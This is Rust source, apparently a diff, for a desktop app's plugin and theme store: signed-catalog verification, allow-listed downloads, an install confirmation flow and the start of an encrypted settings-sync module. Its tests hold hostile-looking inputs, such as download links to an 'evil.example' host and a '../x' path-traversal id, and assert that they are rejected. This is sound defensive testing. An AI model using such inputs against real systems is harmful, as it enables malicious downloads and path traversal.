/// Why the live catalog could not be loaded (a cached copy may still be shown).
pub error: Option<String>,
/// Installed plugin files the catalog lists, by file name.
pub plugins: BTreeMap<String, InstalledPlugin>,
pub records: InstallRecords,
}
/// A store item the shell asks for (`store_stage`).
#[derive(Clone, Debug, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct StoreItemRef {
pub kind: String,
pub id: String,
}
struct Staged {
kind: Kind,
file: Option<String>,
bytes: Vec<u8>,
sha256: String,
source: SourceKind,
url: Option<String>,
store: Option<CatalogItem>,
version: String,
created: Instant,
}
struct CatalogCache {
catalog: Catalog,
fetched: Instant,
fetched_at: String,
}
struct Inner {
pending: VecDeque<LinkEvent>,
staged: HashMap<String, Staged>,
catalog: Option<CatalogCache>,
records: InstallRecords,
}
/// One app's store and install state. Create it once (`Store::new`) and keep it in app state.
pub struct Store {
config: &'static StoreConfig,
plugins: &'static PluginHost,
data_dir: PathBuf,
inner: Mutex<Inner>,
}
fn new_token() -> String {
let mut bytes = [0u8; 16];
let _ = getrandom::getrandom(&mut bytes);
bytes.iter().map(|b| format!("{b:02x}")).collect()
}
pub fn now_rfc3339() -> String {
chrono::Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Secs, true)
}
fn valid_theme_id(id: &str) -> bool {
!id.is_empty() && id.len() <= 40 && id.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
}
impl Store {
/// `data_dir` is the app-data folder: install records and the catalog copy live in it, and
/// plugins in its `plugins` folder (the same folder the app's `PluginStore` uses).
pub fn new(config: &'static StoreConfig, plugins: &'static PluginHost, data_dir: PathBuf) -> Self {
let records = std::fs::read_to_string(data_dir.join(RECORDS_FILE))
.ok()
.and_then(|raw| serde_json::from_str::<InstallRecords>(&raw).ok())
.unwrap_or_default();
Self {
config,
plugins,
data_dir,
inner: Mutex::new(Inner { pending: VecDeque::new(), staged: HashMap::new(), catalog: None, records }),
}
}
pub fn config(&self) -> &'static StoreConfig {
self.config
}
fn lock(&self) -> MutexGuard<'_, Inner> {
self.inner.lock().unwrap_or_else(|poisoned| poisoned.into_inner())
}
fn plugin_store(&self) -> PluginStore {
PluginStore::new(self.data_dir.join("plugins"), self.plugins)
}
fn plugins_dir(&self) -> PathBuf {
self.data_dir.join("plugins")
}
fn save_records(&self, records: &InstallRecords) {
let result = serde_json::to_string_pretty(records)
.map_err(|_| "STORAGE: serialization failed".to_owned())
.and_then(|json| std::fs::write(self.data_dir.join(RECORDS_FILE), json).map_err(|error| format!("STORAGE: {error}")));
if let Err(error) = result {
eprintln!("{}: {error}", self.config.product);
}
}
// -----------------------------------------------------------------------------------------
// Links
/// A link reached the app (OS deep link, second launch): validate it and queue it for the
/// shell. Returns the event to emit ([`EVENT_LINK`]). Nothing is downloaded or installed here.
pub fn receive_link(&self, raw: &str) -> LinkEvent {
let event = match dist::parse_install_link(self.config, raw) {
Ok(link) => LinkEvent { link: Some(link), error: None },
Err(error) => LinkEvent { link: None, error: Some(error) },
};
let mut inner = self.lock();
if inner.pending.len() >= MAX_PENDING {
inner.pending.pop_front();
}
inner.pending.push_back(event.clone());
event
}
/// Links that arrived before the shell listened (drained).
pub fn take_pending(&self) -> Vec<LinkEvent> {
self.lock().pending.drain(..).collect()
}
/// The same rules as a link the OS handed over, for a `kind` + `url` the shell asks for: the
/// shell cannot widen them. Returns the link and, for plugins, the file name.
pub fn check_link(&self, kind: &str, url: &str) -> Result<(InstallLink, Option<String>), String> {
let kind = Kind::parse(kind)?;
let link = dist::parse_install_link(self.config, &dist::install_link(self.config, kind, url))?;
let file = match kind {
Kind::Plugin => Some(dist::plugin_file_from_url(&Url::parse(&link.url).map_err(|_| "VALIDATION: invalid URL")?)?),
Kind::Theme => None,
};
Ok((link, file))
}
// -----------------------------------------------------------------------------------------
// Staging
/// Validates bytes for `kind` and stages them under a fresh token.
fn stage(&self, kind: Kind, file: Option<String>, bytes: Vec<u8>, source: SourceKind, url: Option<String>, store: Option<CatalogItem>) -> Result<InstallPreview, String> {
let mut inner = self.lock();
inner.staged.retain(|_, staged| staged.created.elapsed() < STAGED_TTL);
while inner.staged.len() >= MAX_STAGED {
let oldest = inner.staged.iter().min_by_key(|(_, s)| s.created).map(|(k, _)| k.clone());
match oldest {
Some(key) => inner.staged.remove(&key),
None => break,
};
}
let text = String::from_utf8(bytes.clone()).map_err(|_| "VALIDATION: not UTF-8 text")?;
let (plugin, theme, findings, version, existing) = match kind {
Kind::Plugin => {
let file = file.as_deref().ok_or("VALIDATION: missing plugin file name")?;
let validated = dist::validate_plugin(file, &bytes)?;
let local = self.plugin_store();
let existing = local.file_hash(file).map(|hash| Existing {
version: plugins::parse_meta(file, &std::fs::read_to_string(self.plugins_dir().join(file)).unwrap_or_default()).version,
enabled: local.is_enabled(file),
same: hash == validated.sha256,
});
let version = validated.meta.version.clone();
(Some(validated.meta), None, validated.findings, version, existing)
}
Kind::Theme => {
let info = dist::validate_theme(&bytes)?;
let version = store.as_ref().map(|item| item.version.clone()).unwrap_or_default();
(None, Some(info), Vec::new(), version, None)
}
};
let label = match source {
SourceKind::Store => "wayBetter Store (signed catalog, sha256 verified)".to_owned(),
SourceKind::Link => format!("Link: {}", url.as_deref().and_then(|u| Url::parse(u).ok()).and_then(|u| u.host_str().map(str::to_owned)).unwrap_or_default()),
SourceKind::File => "A file you dropped".to_owned(),
};
let sha256 = dist::sha256_hex(&bytes);
let token = new_token();
let preview = InstallPreview {
token: token.clone(),
kind,
source: SourceView { kind: source.clone(), url: url.clone(), label, signed: source == SourceKind::Store },
sha256: sha256.clone(),
size: bytes.len(),
file: file.clone(),
text,
version: version.clone(),
plugin,
theme,
findings,
existing,
store: store.clone(),
};
inner.staged.insert(token, Staged { kind, file, bytes, sha256, source, url, store, version, created: Instant::now() });
Ok(preview)
}
/// Stages what a link (checked with [`Self::check_link`]) downloaded. A link to a file the
/// signed store lists is still a link (no store badge), but the preview carries the store entry
/// when the hash matches so the screen can say so.
pub fn stage_link_download(&self, link: &InstallLink, file: Option<String>, bytes: Vec<u8>) -> Result<InstallPreview, String> {
if bytes.len() > link.kind.max_bytes() {
return Err("VALIDATION: the file is larger than allowed".into());
}
let hash = dist::sha256_hex(&bytes);
let store = self.lock().catalog.as_ref().and_then(|cache| cache.catalog.items.iter().find(|item| item.url == link.url && item.sha256 == hash).cloned());
self.stage(link.kind, file, bytes, SourceKind::Link, Some(link.url.clone()), store)
}
/// A file dropped on the window (the shell read it with the File API; validated here).
pub fn stage_file(&self, name: &str, text: String) -> Result<InstallPreview, String> {
let lower = name.to_ascii_lowercase();
let (kind, file) = if lower.ends_with(PLUGIN_SUFFIX) {
(Kind::Plugin, Some(name.to_owned()))
} else if lower.ends_with(".json") {
(Kind::Theme, None)
} else {
return Err("VALIDATION: drop a theme (.json) or a plugin (.plugin.js)".into());
};
if text.len() > kind.max_bytes() {
return Err("VALIDATION: the file is larger than allowed".into());
}
self.stage(kind, file, text.into_bytes(), SourceKind::File, None, None)
}
/// The catalog entry the shell asks for (this app's items only).
pub fn catalog_item(&self, item: &StoreItemRef) -> Result<CatalogItem, String> {
let kind = Kind::parse(&item.kind)?;
self.lock()
.catalog
.as_ref()
.and_then(|cache| cache.catalog.items.iter().find(|i| i.kind == kind && i.id == item.id).cloned())
.ok_or_else(|| "STORE: not in the catalog; refresh the store".into())
}
/// Stages a downloaded store item after checking it against the signed catalog (size + sha256).
pub fn stage_store_download(&self, entry: CatalogItem, bytes: Vec<u8>) -> Result<InstallPreview, String> {
dist::verify_item(&entry, &bytes)?;
if !entry.is_for(self.config.app_id) {
return Err("STORE: this item is for another app".into());
}
self.stage(entry.kind, entry.file.clone(), bytes, SourceKind::Store, Some(entry.url.clone()), Some(entry))
}
pub fn cancel(&self, token: &str) {
self.lock().staged.remove(token);
}
// -----------------------------------------------------------------------------------------
// Commit and remove
/// The owner confirmed the screen for `token`. Plugins are written (validated again) and, when
/// `enable` (or they were enabled before an update), started: `run` evaluates each start/stop
/// script in the app's site tabs. Themes are handed back for the shell to add under `theme_id`.
pub fn commit(&self, token: &str, enable: bool, theme_id: Option<String>, run: impl Fn(&str)) -> Result<InstallOutcome, String> {
let mut inner = self.lock();
let Some(staged) = inner.staged.get(token) else {
return Err("INSTALL: this install screen expired; open it again".into());
};
if staged.created.elapsed() < MIN_REVIEW {
return Err("INSTALL: confirm again after reviewing".into());
}
let staged = inner.staged.remove(token).expect("present");
let record = |version: String| InstallRecord {
kind: staged.kind,
source: staged.source.clone(),
url: staged.url.clone(),
store_id: staged.store.as_ref().map(|item| item.id.clone()),
version,
sha256: staged.sha256.clone(),
installed_at: now_rfc3339(),
};
match staged.kind {
Kind::Plugin => {
let file = staged.file.clone().ok_or("INSTALL: missing file")?;
let store = self.plugin_store();
let was_enabled = store.is_enabled(&file);
let validated = store.install(&file, &staged.bytes)?;
inner.records.insert(InstallRecords::key(Kind::Plugin, &file), record(validated.meta.version.clone()));
let records = inner.records.clone();
drop(inner);
self.save_records(&records);
if was_enabled {
// An update of a running plugin: stop the old code, start the new.
run(&plugins::stop_script(self.plugins, &file)?);
run(&store.start_script(&file)?);
} else if enable {
let script = store.start_script(&file)?;
store.set_enabled(&file, true)?;
run(&script);
}
Ok(InstallOutcome { kind: Kind::Plugin, plugins: Some(store.list()?), theme_text: None })
}
Kind::Theme => {
let id = theme_id.filter(|id| valid_theme_id(id)).ok_or("VALIDATION: invalid theme id")?;
inner.records.insert(InstallRecords::key(Kind::Theme, &id), record(staged.version.clone()));
let records = inner.records.clone();
drop(inner);
self.save_records(&records);
let text = String::from_utf8(staged.bytes).map_err(|_| "VALIDATION: not UTF-8")?;
Ok(InstallOutcome { kind: Kind::Theme, plugins: None, theme_text: Some(text) })
}
}
}
/// Deletes a plugin; `run` stops it in every site tab first.
pub fn remove_plugin(&self, file: &str, run: impl Fn(&str)) -> Result<Vec<ScriptPlugin>, String> {
let mut inner = self.lock();
let store = self.plugin_store();
let script = plugins::stop_script(self.plugins, file)?;
store.remove(file)?;
inner.records.items.remove(&InstallRecords::key(Kind::Plugin, file));
let records = inner.records.clone();
drop(inner);
self.save_records(&records);
run(&script);
store.list()
}
/// Where installed plugins and themes came from (for badges and update checks).
pub fn records(&self) -> InstallRecords {
self.lock().records.clone()
}
/// A theme (or plugin) was removed elsewhere: forget where it came from.
pub fn forget(&self, kind: &str, name: &str) -> Result<(), String> {
let kind = Kind::parse(kind)?;
let mut inner = self.lock();
if inner.records.items.remove(&InstallRecords::key(kind, name)).is_some() {
let records = inner.records.clone();
drop(inner);
self.save_records(&records);
}
Ok(())
}
// -----------------------------------------------------------------------------------------
// Catalog
/// Whether the catalog in memory is recent enough to show without fetching.
pub fn catalog_is_fresh(&self) -> bool {
self.lock().catalog.as_ref().is_some_and(|cache| cache.fetched.elapsed() < CATALOG_TTL)
}
/// Verifies fetched catalog bytes, keeps this app's part and saves the verified bytes for
/// offline use (they are verified again when read back).
pub fn accept_catalog(&self, body: &[u8], signature: &str) -> Result<(), String> {
let catalog = dist::verify_catalog(self.config, body, signature)?;
let _ = std::fs::write(self.data_dir.join(CATALOG_CACHE), body);
let _ = std::fs::write(self.data_dir.join(CATALOG_SIG_CACHE), signature.as_bytes());
self.lock().catalog = Some(CatalogCache { catalog, fetched: Instant::now(), fetched_at: now_rfc3339() });
Ok(())
}
/// The live catalog could not be loaded: fall back to the saved copy (if it still verifies)
/// when nothing is in memory. It is shown, but fetched again on the next open.
pub fn use_cached_catalog(&self) {
if self.lock().catalog.is_some() {
return;
}
let Some((catalog, fetched_at)) = cached_catalog(self.config, &self.data_dir) else { return };
let fetched = Instant::now().checked_sub(CATALOG_TTL).unwrap_or_else(Instant::now);
let mut inner = self.lock();
if inner.catalog.is_none() {
inner.catalog = Some(CatalogCache { catalog, fetched, fetched_at });
}
}
/// What the Store view shows, with `error` when the live catalog could not be loaded.
pub fn view(&self, error: Option<String>) -> StoreView {
let inner = self.lock();
let local = self.plugin_store();
let mut installed = BTreeMap::new();
if let Some(cache) = &inner.catalog {
for item in cache.catalog.items.iter().filter(|item| item.kind == Kind::Plugin) {
let Some(file) = item.file.as_deref() else { continue };
let Some(sha256) = local.file_hash(file) else { continue };
let source = std::fs::read_to_string(self.plugins_dir().join(file)).unwrap_or_default();
installed.insert(file.to_owned(), InstalledPlugin { version: plugins::parse_meta(file, &source).version, sha256, enabled: local.is_enabled(file) });
}
}
StoreView {
catalog: inner.catalog.as_ref().map(|cache| cache.catalog.clone()),
fetched_at: inner.catalog.as_ref().map(|cache| cache.fetched_at.clone()),
error,
plugins: installed,
records: inner.records.clone(),
}
}
}
fn cached_catalog(config: &StoreConfig, dir: &Path) -> Option<(Catalog, String)> {
let body = std::fs::read(dir.join(CATALOG_CACHE)).ok()?;
let signature = std::fs::read_to_string(dir.join(CATALOG_SIG_CACHE)).ok()?;
let modified = std::fs::metadata(dir.join(CATALOG_CACHE)).and_then(|m| m.modified()).ok()?;
let catalog = dist::verify_catalog(config, &body, &signature).ok()?;
let at = chrono::DateTime::<chrono::Utc>::from(modified).to_rfc3339_opts(chrono::SecondsFormat::Secs, true);
Some((catalog, at))
}
#[cfg(test)]
mod tests {
use super::super::catalog::tests::{catalog_json, config, plugin_item, sign, test_key, theme_item, PLUGIN};
use super::*;
use std::cell::RefCell;
static HOST: PluginHost = PluginHost {
runtime_global: "WayBetterTest",
origin: "https://example.com",
product: "wayBetter test",
css_element_id: "wb-test-css",
example: None,
bundled: &[],
};
const THEME: &[u8] = br#"{"name":"Nord","author":"me","css":"a{}"}"#;
fn store_with_catalog() -> (tempfile::TempDir, Store, Vec<u8>, String) {
let dir = tempfile::tempdir().unwrap();
let (key, public) = test_key(7);
let mut kick = plugin_item(PLUGIN);
kick["apps"] = serde_json::json!(["kick"]);
kick["id"] = serde_json::json!("kick-tool");
kick["file"] = serde_json::json!("kick-tool.plugin.js");
let body = catalog_json(serde_json::json!([plugin_item(PLUGIN), theme_item(THEME), kick]));
let signature = sign(&key, &body);
let store = Store::new(config("x", &[public]), &HOST, dir.path().to_path_buf());
(dir, store, body, signature)
}
fn reviewed() {
std::thread::sleep(MIN_REVIEW + Duration::from_millis(50));
}
#[test]
fn links_are_validated_and_queued_for_the_shell() {
let (_dir, store, _, _) = store_with_catalog();
let ok = store.receive_link("waybetter://install?kind=theme&url=https://waybetter.fyi/store/themes/nord.json");
assert!(ok.link.is_some() && ok.error.is_none());
let bad = store.receive_link("waybetter://install?kind=theme&url=https://evil.example/a.json");
assert!(bad.link.is_none() && bad.error.unwrap().starts_with("LINK:"));
for _ in 0..20 {
store.receive_link("waybetter://install?kind=theme&url=https://waybetter.fyi/a.json");
}
assert_eq!(store.take_pending().len(), MAX_PENDING, "bounded");
assert!(store.take_pending().is_empty(), "drained");
// The shell's kind + url go through the same parser.
assert_eq!(store.check_link("plugin", "https://waybetter.fyi/store/plugins/tool.plugin.js").unwrap().1.as_deref(), Some("tool.plugin.js"));
assert!(store.check_link("plugin", "https://waybetter.fyi/store/plugins/tool.js").is_err());
assert!(store.check_link("theme", "https://evil.example/a.json").is_err());
assert!(store.check_link("script", "https://waybetter.fyi/a.json").is_err());
}
#[test]
fn the_catalog_is_verified_filtered_to_the_app_and_kept_for_offline_use() {
let (dir, store, body, signature) = store_with_catalog();
assert!(store.view(None).catalog.is_none());
assert!(store.accept_catalog(&body, "AAAA").is_err());
assert!(store.view(None).catalog.is_none(), "a bad signature changes nothing");
store.accept_catalog(&body, &signature).unwrap();
assert!(store.catalog_is_fresh());
let view = store.view(None);
let ids: Vec<_> = view.catalog.unwrap().items.iter().map(|i| i.id.clone()).collect();
assert_eq!(ids, ["tool", "nord"], "the other app's item is not shown");
assert!(store.catalog_item(&StoreItemRef { kind: "plugin".into(), id: "kick-tool".into() }).is_err(), "nor staged");
// A fresh start offline: the saved copy verifies and is shown, marked stale.
let again = Store::new(store.config(), &HOST, dir.path().to_path_buf());
again.use_cached_catalog();
assert_eq!(again.view(Some("NETWORK: offline".into())).catalog.unwrap().items.len(), 2);
assert!(!again.catalog_is_fresh());
// A tampered copy on disk is ignored.
std::fs::write(dir.path().join(CATALOG_CACHE), [&body[..], b" "].concat()).unwrap();
let tampered = Store::new(store.config(), &HOST, dir.path().to_path_buf());
tampered.use_cached_catalog();
assert!(tampered.view(None).catalog.is_none());
}
#[test]
fn store_items_must_match_the_signed_catalog_and_install_the_staged_bytes() {
let (dir, store, body, signature) = store_with_catalog();
store.accept_catalog(&body, &signature).unwrap();
let entry = store.catalog_item(&StoreItemRef { kind: "plugin".into(), id: "tool".into() }).unwrap();
assert!(store.stage_store_download(entry.clone(), b"tampered".to_vec()).is_err());
let preview = store.stage_store_download(entry, PLUGIN.to_vec()).unwrap();
assert!(preview.source.signed && preview.existing.is_none());
assert_eq!(preview.plugin.as_ref().unwrap().permissions.as_deref(), Some(&["ui".to_owned()][..]));
// Too fast: the screen was not read.
assert!(store.commit(&preview.token, true, None, |_| {}).unwrap_err().contains("reviewing"));
reviewed();
let ran = RefCell::new(Vec::new());
let outcome = store.commit(&preview.token, true, None, |script| ran.borrow_mut().push(script.to_owned())).unwrap();
assert_eq!(outcome.plugins.unwrap().iter().filter(|p| p.file == "tool.plugin.js" && p.enabled).count(), 1);
assert_eq!(ran.borrow().len(), 1, "started once");
assert_eq!(std::fs::read(dir.path().join("plugins/tool.plugin.js")).unwrap(), PLUGIN);
let record = &store.records().items["plugin:tool.plugin.js"];
assert_eq!((record.source.clone(), record.store_id.as_deref(), record.version.as_str()), (SourceKind::Store, Some("tool"), "1.0.0"));
// The token is single use; records survive a restart.
assert!(store.commit(&preview.token, true, None, |_| {}).unwrap_err().contains("expired"));
assert_eq!(Store::new(store.config(), &HOST, dir.path().to_path_buf()).records(), store.records());
// Installed and identical: the view says so.
assert_eq!(store.view(None).plugins["tool.plugin.js"].sha256, dist::sha256_hex(PLUGIN));
// Staging it again shows what is installed; committing an update of a running plugin stops then starts it.
let entry = store.catalog_item(&StoreItemRef { kind: "plugin".into(), id: "tool".into() }).unwrap();
let again = store.stage_store_download(entry, PLUGIN.to_vec()).unwrap();
let existing = again.existing.unwrap();
assert!(existing.same && existing.enabled);
reviewed();
let ran = RefCell::new(Vec::new());
store.commit(&again.token, false, None, |script| ran.borrow_mut().push(script.to_owned())).unwrap();
assert_eq!(ran.borrow().len(), 2, "stop + start");
// Remove: stopped, deleted, forgotten.
let ran = RefCell::new(0);
let list = store.remove_plugin("tool.plugin.js", |_| *ran.borrow_mut() += 1).unwrap();
assert!(list.iter().all(|p| p.file != "tool.plugin.js") && *ran.borrow() == 1);
assert!(!store.records().items.contains_key("plugin:tool.plugin.js"));
}
#[test]
fn dropped_files_and_links_are_validated_and_themes_come_back_as_text() {
let (_dir, store, body, signature) = store_with_catalog();
assert!(store.stage_file("photo.png", "x".into()).is_err());
assert!(store.stage_file("bad.plugin.js", "module.exports = 1".into()).unwrap_err().contains("header"));
assert!(store.stage_file("big.json", "a".repeat(dist::MAX_THEME_BYTES + 1)).unwrap_err().contains("larger"));
let dropped = store.stage_file("nord.json", String::from_utf8(THEME.to_vec()).unwrap()).unwrap();
assert!(!dropped.source.signed && dropped.theme.as_ref().unwrap().name == "Nord");
reviewed();
assert!(store.commit(&dropped.token, true, Some("../x".into()), |_| {}).unwrap_err().contains("theme id"));
let dropped = store.stage_file("nord.json", String::from_utf8(THEME.to_vec()).unwrap()).unwrap();
reviewed();
let outcome = store.commit(&dropped.token, true, Some("nord-2".into()), |_| panic!("themes run nothing")).unwrap();
assert_eq!(outcome.theme_text.as_deref().map(str::as_bytes), Some(THEME));
assert_eq!(store.records().items["theme:nord-2"].source, SourceKind::File);
store.forget("theme", "nord-2").unwrap();
assert!(store.records().items.is_empty());
// A link to a file the signed store lists carries the store entry, but is still a link.
store.accept_catalog(&body, &signature).unwrap();
let (link, file) = store.check_link("theme", "https://waybetter.fyi/store/themes/nord.json").unwrap();
let preview = store.stage_link_download(&link, file, THEME.to_vec()).unwrap();
assert!(!preview.source.signed && preview.store.is_some() && preview.source.label == "Link: waybetter.fyi");
let other = store.stage_link_download(&link, None, br#"{"name":"Other"}"#.to_vec()).unwrap();
assert!(other.store.is_none(), "different bytes: no store entry");
store.cancel(&other.token);
assert!(store.commit(&other.token, true, Some("other".into()), |_| {}).is_err());
}
#[test]
fn staging_is_bounded() {
let (_dir, store, _, _) = store_with_catalog();
let tokens: Vec<String> = (0..MAX_STAGED + 4)
.map(|_| {
std::thread::sleep(Duration::from_millis(2));
store.stage_file("a.json", r#"{"name":"A"}"#.into()).unwrap().token
})
.collect();
assert_eq!(store.lock().staged.len(), MAX_STAGED);
assert!(!store.lock().staged.contains_key(&tokens[0]), "the oldest goes first");
}
}

View file

@ -0,0 +1,34 @@
//! Installing themes and plugins from outside the plugins folder: a `waybetter://install` link, a
//! dropped file, or the signed wayBetter Store. Every wayBetter app gets the same rules; the app
//! supplies only a [`StoreConfig`] (its id in the shared catalog, the store URL, the store public
//! keys, the hosts it may download from) and its Tauri command wrappers.
//!
//! Trust model (the same for every app):
//! - Nothing installs without the shell's confirmation screen (name, author, version, source,
//! sha256, permissions, code/CSS preview). Only the app's local shell webview may call the install
//! commands; site tabs and web pages cannot. A web page can at most open a `waybetter://` link,
//! which only *proposes* an install ([`Store::receive_link`]).
//! - Links may only point at https URLs on the app's allow-list ([`AllowedHost`]; raw files only on
//! a code host), default port, no credentials, no fragment; native code downloads them without
//! redirects or cookies and with size caps ([`MAX_THEME_BYTES`], `plugins::MAX_PLUGIN_BYTES`).
//! - The store catalog carries a detached Ed25519 signature made offline with the store key
//! (`waybetter store sign`); the app verifies it with the public keys compiled into it (any listed
//! key may sign, so keys can rotate) and then checks every download against the catalog's sha256
//! and size. One catalog serves every app: each item names the apps it is for (`apps`) and each
//! app only ever sees, stages or installs its own items ([`Catalog::for_app`]).
//! - Plugins are validated like any install (`plugins::validate_plugin`) and written by
//! `PluginStore::install` (atomic, never enabled on its own); themes are parsed here (a JSON object
//! with a name, size cap) and sanitized field by field by the app's shell and native theme code.
//! - [`Store::commit`] writes exactly the bytes staged (and hashed) for the screen, after
//! validating them again, and only once the screen has been open for [`MIN_REVIEW`].
//!
//! [`catalog`] is pure; [`install`] keeps the state (pending links, staged installs, the verified
//! catalog, install records) and does the file work; with the `net` feature, [`net`] downloads.
pub mod catalog;
pub mod install;
#[cfg(feature = "net")]
pub mod net;
pub use catalog::*;
pub use install::*;

View file

@ -0,0 +1,114 @@
//! Store downloads (`net` feature): allow-listed https only, no redirects, no cookies, size caps.
use super::catalog::{self as dist, StoreConfig, MAX_CATALOG_BYTES, MAX_SIGNATURE_BYTES};
use super::install::{InstallPreview, Store, StoreItemRef, StoreView};
use std::sync::OnceLock;
use std::time::Duration;
use url::Url;
fn client(config: &StoreConfig) -> Result<&'static reqwest::Client, String> {
static CLIENT: OnceLock<reqwest::Client> = OnceLock::new();
if let Some(client) = CLIENT.get() {
return Ok(client);
}
if rustls::crypto::CryptoProvider::get_default().is_none() {
let _ = rustls::crypto::ring::default_provider().install_default();
}
// No cookie store is configured: requests carry no cookies and keep none.
let client = reqwest::Client::builder()
.user_agent(config.user_agent)
.redirect(reqwest::redirect::Policy::none())
.timeout(Duration::from_secs(30))
.build()
.map_err(|e| format!("NETWORK: {e}"))?;
Ok(CLIENT.get_or_init(|| client))
}
/// Downloads an allow-listed URL (re-checked here), no redirects or cookies, at most `max` bytes.
pub async fn fetch(config: &StoreConfig, url: &str, max: usize) -> Result<Vec<u8>, String> {
let url = Url::parse(url).map_err(|_| "VALIDATION: invalid URL")?;
if !dist::allowed_download_url(config.allowed_hosts, &url) {
return Err("VALIDATION: this address is not allowed".into());
}
let mut response = client(config)?.get(url).send().await.map_err(|e| format!("NETWORK: {e}"))?;
let status = response.status().as_u16();
if status != 200 {
return Err(format!("NETWORK: the server answered {status}"));
}
if response.content_length().is_some_and(|len| len as usize > max) {
return Err("VALIDATION: the file is larger than allowed".into());
}
let mut bytes = Vec::new();
while let Some(chunk) = response.chunk().await.map_err(|e| format!("NETWORK: {e}"))? {
if bytes.len() + chunk.len() > max {
return Err("VALIDATION: the file is larger than allowed".into());
}
bytes.extend_from_slice(&chunk);
}
Ok(bytes)
}
impl Store {
/// Downloads what an install link points at and stages it for the confirmation screen.
pub async fn stage_link(&self, kind: &str, url: &str) -> Result<InstallPreview, String> {
let (link, file) = self.check_link(kind, url)?;
let bytes = fetch(self.config(), &link.url, link.kind.max_bytes()).await?;
self.stage_link_download(&link, file, bytes)
}
/// Downloads a store item, checks it against the signed catalog (size + sha256) and stages it.
pub async fn stage_item(&self, item: &StoreItemRef) -> Result<InstallPreview, String> {
let entry = self.catalog_item(item)?;
let bytes = fetch(self.config(), &entry.url, entry.kind.max_bytes()).await?;
self.stage_store_download(entry, bytes)
}
/// The signed catalog (fetched at most every [`super::CATALOG_TTL`] unless `refresh`), with
/// what is installed. Offline, the last verified copy is shown with the error.
pub async fn catalog(&self, refresh: bool) -> StoreView {
if !refresh && self.catalog_is_fresh() {
return self.view(None);
}
let error = match self.fetch_catalog().await {
Ok(()) => None,
Err(error) => {
self.use_cached_catalog();
Some(error)
}
};
self.view(error)
}
async fn fetch_catalog(&self) -> Result<(), String> {
let base = self.config().store_base;
let body = fetch(self.config(), &format!("{base}catalog.json"), MAX_CATALOG_BYTES).await?;
let signature = fetch(self.config(), &format!("{base}catalog.json.sig"), MAX_SIGNATURE_BYTES).await?;
let signature = String::from_utf8(signature).map_err(|_| "STORE: invalid signature")?;
self.accept_catalog(&body, &signature)
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::store::catalog::Kind;
#[test]
fn nothing_off_the_allow_list_is_requested() {
let config = StoreConfig {
app_id: "x",
product: "t",
user_agent: "t/0",
scheme: "waybetter",
store_base: dist::DEFAULT_STORE_BASE,
public_keys: &[],
allowed_hosts: dist::DEFAULT_HOSTS,
};
let runtime = tokio::runtime::Builder::new_current_thread().enable_all().build().unwrap();
for url in ["http://waybetter.fyi/a.json", "https://evil.example/a.json", "https://waybetter.fyi:444/a.json", "not a url"] {
let error = runtime.block_on(fetch(&config, url, 10)).unwrap_err();
assert!(error.starts_with("VALIDATION:"), "{url}: {error}");
}
assert_eq!(Kind::Theme.max_bytes(), dist::MAX_THEME_BYTES);
}
}

View file

@ -0,0 +1,434 @@
//! Encrypted settings sync through a folder the owner already syncs (OneDrive, iCloud Drive,
//! Dropbox, a NAS share...). No server of ours, no account: the app writes encrypted, versioned
//! snapshots of its settings backup ([`crate::backup`], never drafts, cookies, tokens or keys) into
//! `<folder>/wayBetter Sync/`, and another machine with the same passphrase offers to pull a newer
//! one.
//!
//! Crypto: the key is Argon2id(passphrase, salt) (32 bytes; the salt and cost live in
//! `sync.json` in the sync folder, so every machine derives the same key); each snapshot is sealed
//! with XChaCha20-Poly1305 under a fresh random 24-byte nonce, the snapshot header as associated
//! data. `sync.json` also holds a sealed check value, so a wrong passphrase is refused before
//! anything is read or written. Pure (files and bytes in, no Tauri), unit-tested headless.
use argon2::{Algorithm, Argon2, Params, Version};
use base64::{engine::general_purpose::STANDARD as B64, Engine};
use chacha20poly1305::aead::{Aead, KeyInit, Payload};
use chacha20poly1305::{XChaCha20Poly1305, XNonce};
use serde::{Deserialize, Serialize};
use std::fs;
use std::path::{Path, PathBuf};
pub const FOLDER_NAME: &str = "wayBetter Sync";
pub const META_FILE: &str = "sync.json";
pub const SNAPSHOT_DIR: &str = "snapshots";
pub const SNAPSHOT_SUFFIX: &str = ".wbsync";
pub const FORMAT: &str = "waybetter-sync";
pub const VERSION: u32 = 1;
/// Snapshots this device keeps of its own in the folder (older ones are deleted).
pub const KEEP_PER_DEVICE: usize = 10;
/// A snapshot's plaintext (the settings backup, plugins included) is at most this large.
pub const MAX_PLAINTEXT: usize = 24 * 1024 * 1024;
const CHECK_PLAINTEXT: &[u8] = b"waybetter-sync-key-check-v1";
const MIN_PASSPHRASE: usize = 8;
/// Argon2id cost. Defaults: 64 MiB, 3 passes, 1 lane (OWASP's Argon2id baseline is 19 MiB/t=2).
#[derive(Clone, Copy, Debug, Serialize, Deserialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct KdfParams {
pub memory_kib: u32,
pub iterations: u32,
pub parallelism: u32,
}
impl Default for KdfParams {
fn default() -> Self {
Self { memory_kib: 64 * 1024, iterations: 3, parallelism: 1 }
}
}
impl KdfParams {
fn checked(&self) -> Result<Params, String> {
// Bounds so a hostile sync.json cannot make this machine spend minutes or gigabytes.
if !(8 * 1024..=1024 * 1024).contains(&self.memory_kib) || !(1..=10).contains(&self.iterations) || !(1..=4).contains(&self.parallelism) {
return Err("SYNC: unsupported key derivation settings in sync.json".into());
}
Params::new(self.memory_kib, self.iterations, self.parallelism, Some(32)).map_err(|_| "SYNC: invalid key derivation settings".into())
}
}
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct Sealed {
pub nonce: String,
pub ciphertext: String,
}
/// `sync.json` in the sync folder: public parameters only (no key, no passphrase).
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct SyncMeta {
pub format: String,
pub version: u32,
pub kdf: String,
pub params: KdfParams,
pub salt: String,
pub cipher: String,
pub check: Sealed,
}
/// One snapshot file: a public header (who wrote it, when) and the sealed backup.
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct Snapshot {
pub format: String,
pub version: u32,
pub device: String,
pub device_name: String,
/// Milliseconds since the epoch; also the start of the file name.
pub created_at: u64,
pub sealed: Sealed,
}
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
